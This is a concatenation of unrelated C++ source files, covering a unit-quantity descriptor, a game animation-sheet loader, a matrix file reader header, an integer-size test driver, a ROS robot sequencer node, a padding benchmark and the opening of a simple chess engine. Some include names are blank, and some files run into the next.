//---------------------------------------------------------------------------- CQuantityTypeDescriptor::CQuantityTypeDescriptor(const std::string& name, int fundIdx, bool twentyLog) : m_sName(name) , m_iFundIdx(fundIdx) , m_CUExpansion(nullptr) , m_bTwentyLogRule(twentyLog) { // This ctor is for fundamental quantities, and the bigness is 1.0 by definition. m_dBigness = 1.0; m_CUD = new CUnitDimension(); (*m_CUD)[m_iFundIdx] = 1.0; } //---------------------------------------------------------------------------- CQuantityTypeDescriptor::CQuantityTypeDescriptor(const char* name, CCompoundUnit* expansion, bool twentyLog) : CQuantityTypeDescriptor(std::string{ name }, expansion, twentyLog) { } //---------------------------------------------------------------------------- CQuantityTypeDescriptor::CQuantityTypeDescriptor(const std::string& name, CCompoundUnit* expansion, bool twentyLog) : m_sName(name) , m_iFundIdx(-1) , m_CUExpansion(expansion) , m_bTwentyLogRule(twentyLog) { // By convention, when the engine hands expansion to us, we own it. So we'll free it // in our dtor // This ctor is for derived quantities, and the bigness is that of the expansion. m_dBigness = m_CUExpansion->GetBigness(); // Copy our expansion's dimension. Since the other constructors allocate their // own, we can't simply copy the pointer from our expansion m_CUD = new CUnitDimension(*m_CUExpansion->GetDimension()); } //---------------------------------------------------------------------------- CQuantityTypeDescriptor::~CQuantityTypeDescriptor() { if (m_CUExpansion) { delete m_CUExpansion; } delete m_CUD; } //---------------------------------------------------------------------------- // Return the name of this quantity type std::string CQuantityTypeDescriptor::GetName() const { return m_sName; } //---------------------------------------------------------------------------- // Return the name of this quantity type const char* CQuantityTypeDescriptor::GetName_cStr() const { return m_sName.c_str(); } }solidajenjo/SSFII0 #include "AnimationSheet.h" #include "Animation.h" #include "Game.h" #include "Globals.h" #include "FileSystem.h" AnimationSheet::AnimationSheet(std::string sheetName) : sheetName(sheetName) { animations = new Animation*[ANIM_NUM]; for (unsigned i = 0u; i < ANIM_NUM; ++i) { animations[i] = new Animation(0); animations[i]->name = ANIM_NAMES[i]; } } AnimationSheet::~AnimationSheet() { for (unsigned i = 0u; i < ANIM_NUM; ++i) RELEASE(animations[i]); RELEASE_ARRAY(animations); } void AnimationSheet::Serialize() const { rapidjson::StringBuffer sb; rapidjson::PrettyWriter writer(sb); writer.StartArray(); writer.StartObject(); writer.String("spriteSheetPath"); writer.String(sheetPath.c_str()); writer.EndObject(); for (unsigned i = 0u; i < ANIM_NUM; ++i) { animations[i]->Serialize(writer); } writer.EndArray(); if (game->fileSystem->Write("AnimSheets/" + sheetName, sb.GetString(), strlen(sb.GetString()))) { LOG("AnimationSheet saved."); } } bool AnimationSheet::LoadSheet() { unsigned fileSize = game->fileSystem->Size("AnimSheets/" + sheetName); char* buffer = new char[fileSize]; if (game->fileSystem->Read("AnimSheets/" + sheetName, buffer, fileSize)) { rapidjson::Document document; if (document.Parse(buffer).HasParseError()) { LOG("Error loading sheet %s. Sheet file corrupted.", sheetName.c_str()); auto error = rapidjson::GetParseErrorFunc(document.GetParseError()); return false; } else { rapidjson::Value sheetJSON = document.GetArray(); sheetPath = sheetJSON[0]["spriteSheetPath"].GetString(); for (unsigned i = 1u; i <= ANIM_NUM; ++i) { animations[i - 1]->UnSerialize(sheetJSON[i]); } } } else return false; return true; } Anlon-Burke/vespa // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. #include "types.h" namespace storage { const framework::MicroSecTime Types::MAX_TIMESTAMP(framework::MicroSecTime::max()); const framework::MicroSecTime Types::UNSET_TIMESTAMP(0); } // storage src/r_matrix_file_reader_txt_forward.hpp /** \file r_matrix_file_reader_txt_forward.hpp \brief Class defining the interface of forward r_matrix text file readers. \ingroup ASTROLABE_data_IO */ #ifndef R_MATRIX_FILE_READER_TXT_FORWARD_HPP #define R_MATRIX_FILE_READER_TXT_FORWARD_HPP #include "r_matrix_based_file_reader_txt.hpp" /** * @brief Class defining the interface of forward r_matrix text file readers. * * \ingroup ASTROLABE_data_IO * * This class implements the interface defined in parent class * r_matrix_based_file_reader_txt, reading correlation matrix files stored * in text format in forward direction. * */ class r_matrix_file_reader_txt_forward : public r_matrix_based_file_reader_txt { public: /** * @brief Opens the reader, enabling I/O operations. * * @param file_name Name of the file to read. * @return Error code. Error code values: * - 0: Successful completion. * - 1: The file was already open. * - 2: Unable to open the selected file. * - 3: Not enough memory to allocate the internal buffer. * - 4: End of file condition detected - the file is empty. * - 5: I/O error detected while reading the file. * - 6: NOT USED. * - 7: NOT USED. * * Once a reader has been instantiated (and, optionally, the * size of the internal buffer set using set_buffer_size()), it is * possible to open the underlying file to enable I/O operations. * * This method opens the file and instantiates the internal memory * buffer used to speed up I/O operations, enabling the different * read operations available in this class. */ virtual int open (const char* file_name); /** * @brief Default constructor. */ r_matrix_file_reader_txt_forward (void); /** * @brief Destructor. */ ~r_matrix_file_reader_txt_forward (void); /** * @brief Read the event record type. * * @param record_type The type of the record being read. * @return Error code. Error code values: * - 0: Successful completion. * - 1: End-of-file (no more data). * - 2: I/O error while reading (might happen if the file * has not been opened). * - 3: Invalid call sequence (see description below about * the proper call sequence). * - 4: Malformed record found. * - 5: Unexpected end of file. Invalid file. This error code * differs from code 1 in the sense that for code 1, * absolutely no data was found in the file when trying * to read a new type tag; this means that the end * of the file has been legally reached. On the contrary, * code 5 means that some data could be read before all * the needed information could be retrieved; this points * to a corrupted file. * - 6: NOT USED. * * read_type() is the method that starts the process of reading a * full event record, either l- or o-. * * It may be invoked right after open(), read_l_data() or read_o_data() * have been called only. Using this method at any other moment will * produce an error condition. * * Note that since this method starts the reading of a brand new * record, an end-of-file (or beginning-of-file) condition may * arise (see is_eof() for a discussion on end-of-file and * beginnin-of-file conditions treated uniformly by this library). * * read_type() will indicate that an end-of-file condition has been * detected by means of an specific error code. Other error codes * besides the one indicating the end of file are also possible. * * Therefore, the calling module must check the error code returned * by read_type() and, if not zero, check immediatelly if it * corresponds to either a legal end-of-file condition (using * is_eof()) or to any other problem. * * End-of-file conditions must not therefore be treated as errors, but * as the normal way to detect that the data in the input file has * been exhausted. See the detailed description of class * observation_file_reader for an example on how to check and treat this situation. * * After a successful completion, the record_type parameter will contain * either an 'l' or an 'o' character (always lowercas) denoting the * type of record being read (l- and o-records correspondingly). */ virtual int read_type (char& record_type); protected: /** * @brief Computes the starting and ending positions of the next * record. To do it, the data buffer is scanned starting * at the first non-used position (data_buffer_current_). * @return Error code. Error code values: * - 0: Successful completion. * - 1: End of file (no more data). * - 2: Unexpected end of file (corrupted file). * - 3: I/O error detected while reading the file. * * Search starts at the first available position in the data buffer * (data_buffer_current_). If the search process goes beyond the * last position of the data buffer (data_buffer_bytes_) then a new * chunk of data will be read (using read_next_chunk()). If this * last procedure finds that the data is exhausted, find_next_record_limits() * will report an end of file. * * Record limits are set using members cur_record_start_, cur_record_end_ * and cur_record_cur_; */ int find_next_record_limits (void); /** * @brief Moves the bytes still not processed in the data buffer to * the beginning of this buffer. * * @return The total number of bytes actually moved. May be zero. */ int move_remaining_up (void); /** * @brief Read as many bytes as possible from the input file to fill the * data buffer. * @param start_at First position in the data buffer to be filled when * reading the input file. The preceding positions in the buffer * are left undisturbed. * @return Error code. Error code values: * - 0: Successful completion. * - 1: End of file (no more data). * - 2: I/O error while reading (might happen if the file * has not been opened). * * Read the input file starting at the current (fseek) position as many * bytes as possible to either exhaust the data available or to fill * the data buffer. * * The data already stored in positions 0..start_at of the buffer are * left undisturbed. * */ int read_next_chunk (int start_at); protected: /// @brief Number of bytes actually stored in the data buffer. int data_buffer_bytes_; /// @brief Pointer to the first non-processed position (data not yet /// "read") in the data buffer. int data_buffer_current_; }; #endif // R_MATRIX_FILE_READER_TXT_FORWARD_HPP 0 /* Copyright (c) 2007 Dr. , CoCoLab - Datenverarbeitung This file contains proprietary and confidential information and remains the property of CoCoLab. Use, disclosure, or reproduction is prohibited except as permitted by express written license agreement with CoCoLab. Phone: +49-7841-669144 Fax : +49-7841-669145 Email: */ /* Project: Cocktail Reuse Library * Descr: Definition of fixed size integer data types * Author: Dr. <> */ # include # include "rIntType.h" # define TEST(t, s) \ printf ("sizeof (%9s) = %d, ", #t, sizeof (t)); \ printf ("expected size = %d, ", s); \ if (s == sizeof (t)) { \ printf ("OK\n"); \ } else { \ printf ("FAIL\n"); \ failed ++; \ } int main (int argc, char * argv []) { int failed = 0; printf ("\n"); printf ("Test driver for the rIntType definitions\n"); printf ("****************************************\n"); printf ("\n"); # ifdef __GNUC__ printf ("macro __GNUC__ is defined and has the value %d\n", __GNUC__); # ifdef __WORDSIZE printf ("macro __WORDSIZE is defined and has the value %d\n", __WORDSIZE); # else printf ("macro __WORDSIZE is not defined\n"); # endif # endif # if defined __SUNPRO_C || defined __SUNPRO_CC # ifdef __SUNPRO_C printf ("macro __SUNPRO_C is defined and has the value %x\n", __SUNPRO_C); # endif # ifdef __SUNPRO_CC printf ("macro __SUNPRO_CC is defined and has the value %x\n", __SUNPRO_CC); # endif # ifdef _ILP32 printf ("macro _ILP32 is defined\n"); # else printf ("macro _ILP32 is not defined\n"); # endif # ifdef _LP64 printf ("macro _LP64 is defined\n"); # else printf ("macro _LP64 is not defined\n"); # endif # endif # if defined __IBMC__ || defined __IBMCPP__ # ifdef __IBMC__ printf ("macro __IBMC__ is defined and has the value %d\n", __IBMC__); # endif # ifdef __IBMCPP__ printf ("macro __IBMCPP__ is defined and has the value %d\n", __IBMCPP__); # endif # ifdef __64BIT__ printf ("macro __64BIT__ is defined and has the value %d\n", __64BIT__); # else printf ("macro __64BIT__ is not defined\n"); # endif # endif # ifdef _MSC_VER printf ("macro _MSC_VER is defined and has the value %d\n", _MSC_VER); # ifdef _WIN32 printf ("macro _WIN32 is defined\n"); # else printf ("macro _WIN32 is not defined\n"); # endif # ifdef _WIN64 printf ("macro _WIN64 is defined\n"); # else printf ("macro _WIN64 is not defined\n"); # endif # endif printf ("macro rWORDSIZE has the value %d\n", rWORDSIZE); printf ("\n"); TEST (int8_t, 1); TEST (int16_t, 2); TEST (int32_t, 4); TEST (int64_t, 8); TEST (intptr_t, sizeof (void *)); printf ("\n"); TEST (uint8_t, 1); TEST (uint16_t, 2); TEST (uint32_t, 4); TEST (uint64_t, 8); TEST (uintptr_t, sizeof (void *)); printf ("\n"); if (failed > 0) { printf ("%d tests FAILED\n\n", failed); return 1; } else { printf ("All tests are OK\n\n"); return 0; } } #include #include #include #include int main(int argc, char** argv) { tree::Tree t; t.add(3); } /* * Copyright (c) 2019, The Robot Studio * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the copyright holder nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** * @file sequencer_node.cpp * @author * @date Mar 21, 2017 * @version 0.1.0 * @brief Implementation file for the ROS class SequencerNode. * * Contact: * Created on : Mar 21, 2017 */ /*! Includes */ #include #include #include #include #include #include #include "robot_defines.h" /*! Defines */ #define LOOP_RATE HEART_BEAT /*! Namespaces */ using namespace osa_gui; using namespace rosnode; /*! Implementation */ SequencerNode::SequencerNode() : robot_name_(""), robot_can_device_(""), number_epos_boards_(0), dof_name_list_(QList()), dof_type_list_(QList()), dof_node_id_list_(QList()), dof_controller_list_(QList()), dof_motor_list_(QList()), dof_inverted_list_(QList()), dof_mode_list_(QList()), dof_value_list_(QList()), enable_publish_(false), pause_(0) { } SequencerNode::~SequencerNode() { //delete motor_data_array_; if(ros::isStarted()) { ros::shutdown(); // explicitly needed since we use ros::start(); ros::waitForShutdown(); } wait(); } bool SequencerNode::init() { int init_argc = 0; char** init_argv = 0; ros::init(init_argc, init_argv, "osa_gui_robotSequencerNode"); if(!ros::master::check()) { return false; } ros::start(); // explicitly needed since our nodehandle is going out of scope. ros::NodeHandle nh; // Grab the parameters //TODO avoid WET code, do DRY code, same as in class CANLayer od osa_communication package try { //load robot parameters if(!nh.param("/robot/name", robot_name_, std::string("my_robot"))) { ROS_WARN("No /robot/name found in YAML config file"); } if(!nh.param("/robot/dof", number_epos_boards_, int(2))) { ROS_WARN("No /robot/dof found in YAML config file"); } if(!nh.param("/robot/can_device", robot_can_device_, std::string("can0"))) { ROS_WARN("No /robot/can_device found in YAML config file"); } ROS_INFO("Robot name=%s, dof=%d, can=%s", robot_name_.c_str(), number_epos_boards_, robot_can_device_.c_str()); /* //load mobile_base parameters if(nh.searchParam("/mobile_base", mobile_base_str)) { ROS_INFO("/mobile_base found in YAML config file"); } else { ROS_WARN("No /mobile_base found in YAML config file"); } */ //load controllers parameters //Example: //controller1: {node_id: 1, name: 'right wheel', type: 'EPOS4', inverted: true, motor: 'EC90', mode: 'PROFILE_VELOCITY_MODE', value: 0} bool dof_exist = true; //start with controller 1 int dof_idx = 1; std::string rad_str = "dof"; //common radical name while(dof_exist) { //create the string "controller+index" to search for the controller parameter with that index number std::ostringstream dof_idx_path; dof_idx_path << rad_str << dof_idx; std::string absolute_str = "absolute_str"; //ROS_INFO("string=%s", dof_idx_path.str().c_str()); if(nh.searchParam(dof_idx_path.str(), absolute_str)) { //ROS_INFO("%s found in YAML config file", dof_idx_path.str().c_str()); //ROS_INFO("absolute_str = %s", absolute_str.c_str()); //create variables to store the controller parameters: std:: string name; std:: string type; int node_id = 0; std:: string controller; std:: string motor; bool inverted; std:: string mode; int value; //grab the parameters of the current controller //name std::ostringstream name_path; name_path << absolute_str << "/name"; if(!nh.getParam(name_path.str(), name)) { ROS_ERROR("Can't grab param name for %s", dof_idx_path.str().c_str()); return false; } //type std::ostringstream type_path; type_path << absolute_str << "/type"; if(!nh.getParam(type_path.str(), type)) { ROS_ERROR("Can't grab param type for %s", dof_idx_path.str().c_str()); return false; } //node_id std::ostringstream node_id_path; node_id_path << absolute_str << "/node_id"; if(!nh.getParam(node_id_path.str(), node_id)) { ROS_ERROR("Can't grab param node_id for %s", dof_idx_path.str().c_str()); return false; } //controller std::ostringstream controller_path; controller_path << absolute_str << "/controller"; if(!nh.getParam(controller_path.str(), controller)) { ROS_ERROR("Can't grab param controller for %s", dof_idx_path.str().c_str()); return false; } //motor std::ostringstream motor_path; motor_path << absolute_str << "/motor"; if(!nh.getParam(motor_path.str(), motor)) { ROS_ERROR("Can't grab param motor for %s", dof_idx_path.str().c_str()); return false; } //inverted std::ostringstream inverted_path; inverted_path << absolute_str << "/inverted"; if(!nh.getParam(inverted_path.str(), inverted)) { ROS_ERROR("Can't grab param inverted for %s", dof_idx_path.str().c_str()); return false; } //mode std::ostringstream mode_path; mode_path << absolute_str << "/mode"; if(!nh.getParam(mode_path.str(), mode)) { ROS_ERROR("Can't grab param mode for %s", dof_idx_path.str().c_str()); return false; } //value std::ostringstream value_path; value_path << absolute_str << "/value"; if(!nh.getParam(value_path.str(), value)) { ROS_ERROR("Can't grab param value for %s", dof_idx_path.str().c_str()); return false; } //print the dof parameters ROS_INFO("%s : name[%s], type[%s], node_id[%d], controller[%s], motor[%s], inverted[%d], mode[%s], value[%d]", dof_idx_path.str().c_str(), name.c_str(), type.c_str(), node_id, controller.c_str(), motor.c_str(), inverted, mode.c_str(), value); //save the dof data in the attributes //number_epos_boards_ dof_name_list_.push_back(name); dof_type_list_.push_back(type); dof_node_id_list_.push_back(node_id); dof_controller_list_.push_back(controller); dof_motor_list_.push_back(motor); dof_inverted_list_.push_back(inverted); dof_mode_list_.push_back(mode); dof_value_list_.push_back(value); //increment to search for the next controller dof_idx++; } else { dof_exist = false; //ROS_INFO("No more controllers found in YAML config file"); } //dof_exist = false; } dof_idx--; if(number_epos_boards_ == dof_idx) ROS_INFO("Same number of DOF(%d) and controllers(%d) defined in the YAML config file!", number_epos_boards_, dof_idx); else { ROS_WARN("Not the same number of DOF(%d) and controllers(%d) defined in the YAML config file!", number_epos_boards_, dof_idx); throw 1; } /* nh.param("can_device", can_device_str, std::string("can0")); //mot1 nh.param("controller1_type", controller1_type_str, std::string("EPOS4")); nh.param("motor1_type", motor1_type_str, std::string("EC90")); nh.param("motor1_inverted", motor1_inverted_bool, bool(true)); nh.param("mode1", mode1_str, std::string("PROFILE_VELOCITY_MODE")); nh.param("value1", value1_int, int(0)); //mot2 nh.param("controller2_type", controller2_type_str, std::string("EPOS4")); nh.param("motor2_type", motor2_type_str, std::string("EC90")); nh.param("motor2_inverted", motor2_inverted_bool, bool(false)); nh.param("mode2", mode2_str, std::string("PROFILE_VELOCITY_MODE")); //nh.param("value2", value2_int, int(0)); nh.param("value2", value2_int); */ ROS_INFO("Parameters loaded successfully!\n"); } catch(int exception) { ROS_ERROR("Parameters didn't load correctly!"); ROS_ERROR("Please modify your YAML config file and try again."); return false; } //Publishers pub_motor_cmd_array_ = nh.advertise("/set_motor_commands", 100, true); //Subscribers sub_motor_data_array_ = nh.subscribe("/motor_data_array", 10, &SequencerNode::motorDataArrayCallback, this); //create the commands multi array motor_cmd_array_.layout.dim.push_back(std_msgs::MultiArrayDimension()); motor_cmd_array_.layout.dim[0].size = number_epos_boards_; //NUMBER_SLAVE_BOARDS; motor_cmd_array_.layout.dim[0].stride = number_epos_boards_; //NUMBER_SLAVE_BOARDS*NUMBER_MAX_EPOS2_PER_SLAVE; motor_cmd_array_.layout.dim[0].label = "epos"; /* motor_cmd_array_.layout.dim.push_back(std_msgs::MultiArrayDimension()); motor_cmd_array_.layout.dim[1].size = NUMBER_MAX_EPOS2_PER_SLAVE; motor_cmd_array_.layout.dim[1].stride = NUMBER_MAX_EPOS2_PER_SLAVE; motor_cmd_array_.layout.dim[1].label = "motors"; */ motor_cmd_array_.layout.data_offset = 0; motor_cmd_array_.motor_cmd.clear(); motor_cmd_array_.motor_cmd.resize(number_epos_boards_); //NUMBER_SLAVE_BOARDS*NUMBER_MAX_EPOS2_PER_SLAVE); resetMotorCmdMultiArray(); start(); return true; } void SequencerNode::run() { ros::Rate r(LOOP_RATE); while(ros::ok()) { //if(pause_ == 0) //{ ros::spinOnce(); //publish if enabled if(enable_publish_) pub_motor_cmd_array_.publish(motor_cmd_array_); //ros::Duration(5).sleep(); resetMotorCmdMultiArray(); r.sleep(); /* } else //apply a pause { ROS_INFO("SequencerNode::run : Apply a %d ms pause.", pause_); double sleep = (double)pause_; sleep /= 1000; ros::Duration(sleep).sleep(); //reset the pause pause_ = 0; }*/ //r.sleep(); //here? } //std::cout << "SequencerNode (ROS node) shutdown, proceeding to close the GUI." << std::endl; ROS_INFO("SequencerNode (ROS node) shutdown, proceeding to close the GUI."); Q_EMIT rosShutdown(); // used to signal the gui for a shutdown (useful to roslaunch) } int SequencerNode::setPause(int msPause) { pause_ = msPause; return 0; } void SequencerNode::motorDataArrayCallback(const osa_msgs::MotorDataMultiArrayConstPtr& data) { motor_data_array_ = *data; Q_EMIT motorDataReceived(motor_data_array_); } int SequencerNode::setMotorCmdArray(osa_msgs::MotorCmdMultiArray motor_cmd_array) { motor_cmd_array_ = motor_cmd_array; return 0; } int SequencerNode::setEnablePublish(bool state) { enable_publish_ = state; return 0; } void SequencerNode::updateMotorCmdArray(osa_msgs::MotorCmdMultiArray motor_cmd_array) { //TODO uncomment to enable the transmission //this is comming from the Face tracking node which drives the Head, Slave Board 1 for(int i=0; i #include #include using namespace irr; KeyInput::KeyInput(ICommonAppContext* context, bool preferred):preferred(preferred){ c = context; } void KeyInput::render(){ //nothing to do } bool KeyInput::processEvent(const irr::SEvent& event){ return true; } void KeyInput::OnSelect(){ c->setSoftInputVisibility(true); } void KeyInput::OnDeSelect(){ c->setSoftInputVisibility(false); } bool KeyInput::isPreferredInput(irr::s32 editboxID){ return preferred; } void KeyInput::setPreferred(bool prefer){ preferred = prefer; } bool KeyInput::isPreferred() const{ return preferred; } // Copyright 2009 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef FCPPT_ALGORITHM_GENERATE_N_HPP_INCLUDED #define FCPPT_ALGORITHM_GENERATE_N_HPP_INCLUDED #include #include #include #include #include namespace fcppt { namespace algorithm { /** \brief Generates a container by calling a function a number of times \ingroup fcpptalgorithm Calls \a _function \a _count times and collects the results into a container. \tparam Function A function callable as TargetContainer::value_type(). */ template< typename TargetContainer, typename Function > TargetContainer generate_n( std::size_t const _count, Function const &_function ) { return fcppt::algorithm::map< TargetContainer >( fcppt::make_int_range_count( _count ), [ &_function ]( std::size_t ) { return _function(); } ); } } } #endif larq_compute_engine/core/benchmark/padding_bench.cc #include #include "larq_compute_engine/core/padding_functor.h" using namespace compute_engine::core; // Arguments: (input_size, filter_size, channels_in, channels_out) template static void padding(benchmark::State& state) { const int input_height = state.range(0); const int input_width = state.range(0); const int filter_width = state.range(1); const int filter_height = state.range(1); const int channels_in = state.range(2); const int channels_out = state.range(3); const int input_batch_count = 1; const int filters_num_elem = filter_height * filter_width * channels_in * channels_out; const int pad_h = 0, pad_w = 0; const int stride_h = 1, stride_w = 1; const int dilation_h = 1, dilation_w = 1; const int output_height = (input_height - filter_height + 2 * pad_h) / stride_h + 1; const int output_width = (input_width - filter_width + 2 * pad_w) / stride_w + 1; const int output_num_elem = input_batch_count * output_height * output_width * channels_out; std::vector filters_data; filters_data.resize(filters_num_elem); std::fill(std::begin(filters_data), std::end(filters_data), 1); using TPaddingFunctor = PaddingFunctor; std::vector output; output.resize(output_num_elem); TPaddingFunctor padding_functor; for (auto _ : state) { padding_functor(input_batch_count, input_height, input_width, channels_in, filters_data.data(), filter_height, filter_width, channels_out, stride_h, stride_w, dilation_h, dilation_w, output.data(), output_height, output_width); } } BENCHMARK_TEMPLATE(padding, float) ->Ranges({{16, 32}, {1, 3}, {64, 128}, {16, 32}}); BENCHMARK_TEMPLATE(padding, float) ->Ranges({{16, 32}, {1, 3}, {64, 128}, {16, 32}}); BENCHMARK_TEMPLATE(padding, float) ->Ranges({{16, 32}, {1, 3}, {64, 128}, {16, 32}}); # include # include # include # include # include # include using namespace std; /// ********** CONFIG ********** # define my_color Black # define Depth 9 /// **************************** struct Table { bool to_move; unsigned int t[8]; int score; int king_x[2], king_y[2]; }; static const int Free = 0; static const int Pawn = 1; static const int Knight = 2; static const int Bishop = 3; static const int Rook = 4; static const int Queen = 5; static const int King = 6; static const int White = 0; static const int Black = 1; static const int won = 100000; static const int lost = -100000; static const int draw = 0; static const int Futility = 900; static const int DeepFutility = 1500; static inline Table new_table(); static inline void toggle( Table& a ); static inline int slot( const Table& a, int x, int y ); static inline void set_slot( Table& a, int val, int x, int y ); static inline void pop( Table& a, int x, int y ); static inline void push( Table& a, int val, int x, int y ); static inline int eval( const Table& a ); static inline bool isCheckMate( const Table& a ); static inline bool isCheck( const Table& a ); static inline vector next_move( const Table& a ); static inline void move_piece( const Table& a, int x, int y, const int* p_dx, const int* p_dy, int n, bool mul, vector
&v ); static inline void move_pawn( const Table& a, int x, int y, vector
&v ); static const int bonus[8][64] = { { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, { /// Pawn 0, 0, 0, 0, 0, 0, 0, 0, 100,100,100,100,100,100,100,100, 50, 50, 50, 50, 50, 50, 50, 50, 5, 5, 10, 25, 25, 10, 5, 5, 0, 0, 0, 20, 20, 0, 0, 0, 5, -5,-10, 0, 0,-10, -5, 5, 5, 10, 10,-20,-20, 10, 10, 5, 0, 0, 0, 0, 0, 0, 0, 0 }, { /// Knight -50,-40,-30,-30,-30,-30,-40,-50, -40,-20, 0, 0, 0, 0,-20,-40, -30, 0, 10, 15, 15, 10, 0,-30, -30, 5, 15, 20, 20, 15, 5,-30, -30, 0, 15, 20, 20, 15, 0,-30, -30, 5, 10, 15, 15, 10, 5,-30, -40,-20, 0, 5, 5, 0,-20,-40, -50,-40,-30,-30,-30,-30,-40,-50 }, { /// Bishop -20,-10,-10,-10,-10,-10,-10,-20, -10, 0, 0, 0, 0, 0, 0,-10, -10, 0, 5, 10, 10, 5, 0,-10, -10, 5, 5, 10, 10, 5, 5,-10, -10, 0, 10, 10, 10, 10, 0,-10, -10, 10, 10, 10, 10, 10, 10,-10, -10, 5, 0, 0, 0, 0, 5,-10, -20,-10,-10,-10,-10,-10,-10,-20 }, { /// Rooks 0, 0, 0, 0, 0, 0, 0, 0, 5, 10, 10, 10, 10, 10, 10, 5, -5, 0, 0, 0, 0, 0, 0, -5, -5, 0, 0, 0, 0, 0, 0, -5, -5, 0, 0, 0, 0, 0, 0, -5, -5, 0, 0, 0, 0, 0, 0, -5, -5, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 5, 5, 0, 0, 0 }, { /// Queen -20,-10,-10, -5, -5,-10,-10,-20, -10, 0, 0, 0, 0, 0, 0,-10, -10, 0, 5, 5, 5, 5, 0,-10, -5, 0, 5, 5, 5, 5, 0, -5, 0, 0, 5, 5, 5, 5, 0, -5, -10, 5, 5, 5, 5, 5, 0,-10, -10, 0, 5, 0, 0, 0, 0,-10, -20,-10,-10, -5, -5,-10,-10,-20 }, { /// King middle game -30,-40,-40,-50,-50,-40,-40,-30, -30,-40,-40,-50,-50,-40,-40,-30, -30,-40,-40,-50,-50,-40,-40,-30, -30,-40,-40,-50,-50,-40,-40,-30, -20,-30,-30,-40,-40,-30,-30,-20, -10,-20,-20,-20,-20,-20,-20,-10, 20, 20, 0, 0, 0, 0, 20, 20, 20, 30, 10, 0, 0, 10, 30, 20 }, { /// King end game -50,-40,-30,-20,-20,-30,-40,-50, -30,-20,-10, 0, 0,-10,-20,-30, -30,-10, 20, 30, 30, 20,-10,-30, -30,-10, 30, 40, 40, 30,-10,-30, -30,-10, 30, 40, 40, 30,-10,-30, -30,-10, 20, 30, 30, 20,-10,-30, -30,-30, 0, 0, 0, 0,-30,-30, -50,-30,-30,-30,-30,-30,-30,-50 } }; static const int value[7] = { 0, 100, 320, 330, 500, 900, 20000 }; static inline Table new_table() { Table a; a.to_move = 0; memset( a.t, 0, 32 ); a.score = 0; return a; } static inline void toggle( Table& a ) { a.to_move ^= 1; a.score *= -1; } static inline int slot( const Table& a, int x, int y ) { return a.t[x] >> ( y << 2 ) & 15; } static inline void set_slot( Table& a, int val, int x, int y ) { a.t[x] ^= ( slot( a, x, y ) ^ val ) << ( y << 2 ); } # define rvs( a, b ) ( a == 0 ? b : 7 - b ) static inline int eval( const Table& a ) { return a.score; } static inline bool isCheckMate( const Table& a ) { if ( !isCheck( a ) ) return false; vector
aux = next_move( a ); int i; for ( i = 0; i < aux.size(); i ++ ) { Table &m = aux[i]; toggle( m ); if ( !isCheck( m ) ) return false; } return true; } static inline void pop( Table& a, int x, int y ) { int t = slot( a, x, y ); if ( t == Free ) return; int p = ( t >> 1 ); int c = ( t & 1 ); if ( c == a.to_move ) a.score -= value[p] + bonus[p][( rvs( c, x ) << 3 ) + y]; else a.score += value[p] + bonus[p][( rvs( c, x ) << 3 ) + y]; set_slot( a, Free, x, y ); } static inline void push( Table& a, int val, int x, int y ) { if ( slot( a, x, y ) != Free ) pop( a, x, y ); if ( val == 0 ) return; int p = ( val >> 1 ); int c = ( val & 1 ); if ( p == King ) { a.king_x[c] = x; a.king_y[c] = y; } if ( c == a.to_move ) a.score += value[p] + bonus[p][( rvs( c, x ) << 3 ) + y]; else a.score -= value[p] + bonus[p][( rvs( c, x ) << 3 ) + y]; set_slot( a, val, x, y ); } static const int knight_dx[] = { -2, -1, 1, 2, 2, 1, -1, -2 }; static const int knight_dy[] = { 1, 2, 2, 1, -1, -2, -2, -1 }; static const int line_dx[] = { -1, 1, 1, -1, -1, 0, 1, 0 }; static const int line_dy[] = { 1, 1, -1, -1, 0, 1, 0, -1 }; static inline vector
next_move( const Table& a ) { vector
